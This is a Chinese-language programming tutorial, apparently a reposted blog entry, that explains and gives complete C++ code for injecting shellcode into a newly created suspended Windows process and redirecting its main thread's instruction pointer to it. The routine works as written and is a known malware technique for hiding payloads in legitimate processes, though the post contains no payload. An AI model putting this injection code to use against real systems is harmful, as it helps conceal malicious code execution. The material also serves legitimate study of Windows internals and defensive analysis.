C++ 强制让目标进程执行自己的 ShellCode

函数介绍

GetThreadContext

// 如果函数成功,则返回值不为零。
    BOOL WINAPI GetThreadContext(
         _In_    HANDLE    hThread,          // 要检索其上下文的线程的句柄。
         _Inout_ LPCONTEXT lpContext        // 指向 CONTEXT 结构的指针。
    );

SetThreadContext

// 如果设置了上下文,则返回值为非零。
    BOOL WINAPI SetThreadContext(
         _In_       HANDLE  hThread,     // 线程的句柄,其上下文将被设置。
         _In_ const CONTEXT *lpContext       // 指向包含要在指定线程中设置的上下文的CONTEXT结构的指针。
    );    

ResumeThread

// 如果函数成功,则返回值是线程先前的挂起计数。
    DWORD WINAPI ResumeThread(
          _In_ HANDLE hThread               // 要重新启动的线程的句柄。
    );

实现原理

  • 首先,使用 CreateProcess 函数创建进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
  • 然后,使用 VirtualAllocEx 函数在新进程中申请一块可读、可写、可执行的内存,并使用 WriteProcessMemory 函数写入Shellcode 数据。
  • 接着,使用 GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文。并修改线程上下文的指令指针 EIP 的值,更改主线程的执行顺序。再将修改过的线程上下文设置回主线程中。
  • 最后,我们调用 ResumeThread 恢复主线程,让进程按照修改后的 EIP 继续运行,执行我们的 Shellcode 代码。

其中,当使用 CreateProcess 创建进程时,创建标志为 CREATE_SUSPENDED,则表示新进程的主线程被创建为挂起状态,直到使用 ResumeThread 函数恢复主线程,进程才会继续运行。

其中,要注意的是,在使用 GetThreadContext 获取线程上下文的时候,一定要对 CONTEXT 机构中的 ContextFlags 成员赋值,表示指明要检索线程的上下文的哪些部分,否则会导致程序实现不到想要的效果。我们可以指明 CONTEXT_FULL,表示获取所有的线程上下文信息。

编码实现

    // 创建进程并替换进程内存数据, 更改执行顺序
    BOOL ReplaceProcess(char *pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
    {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        CONTEXT threadContext = { 0 };
        BOOL bRet = FALSE;
        ::RtlZeroMemory(&si, sizeof(si));
        ::RtlZeroMemory(&pi, sizeof(pi));
        ::RtlZeroMemory(&threadContext, sizeof(threadContext));
        si.cb = sizeof(si);
        // 创建进程并挂起主线程
        bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
        if (FALSE == bRet)
        {
            ShowError("CreateProcess");
            return FALSE;
        }
        // 在替换的进程中申请一块内存
        LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (NULL == lpDestBaseAddr)
        {
            ShowError("VirtualAllocEx");
            return FALSE;
        }
        // 写入替换的数据
        bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
        if (FALSE == bRet)
        {
            ShowError("WriteProcessError");
            return FALSE;
        }
        // 获取线程上下文
        // 注意此处标志,一定要写!!!
        threadContext.ContextFlags = CONTEXT_FULL;
        bRet = ::GetThreadContext(pi.hThread, &threadContext);
        if (FALSE == bRet)
        {
            ShowError("GetThreadContext");
            return FALSE;
        }
        // 修改进程的PE文件的入口地址以及映像大小,先获取原来进程PE结构的加载基址
        threadContext.Eip = (DWORD)lpDestBaseAddr + dwRunOffset;
        // 设置挂起进程的线程上下文
        bRet = ::SetThreadContext(pi.hThread, &threadContext);
        if (FALSE == bRet)
        {
            ShowError("SetThreadContext");
            return FALSE;
        }
        // 恢复挂起的进程的线程
        ::ResumeThread(pi.hThread);
        return TRUE;
    }

效果图:
在这里插入图片描述

原文链接: https://www.cnblogs.com/csnd/p/15613455.html

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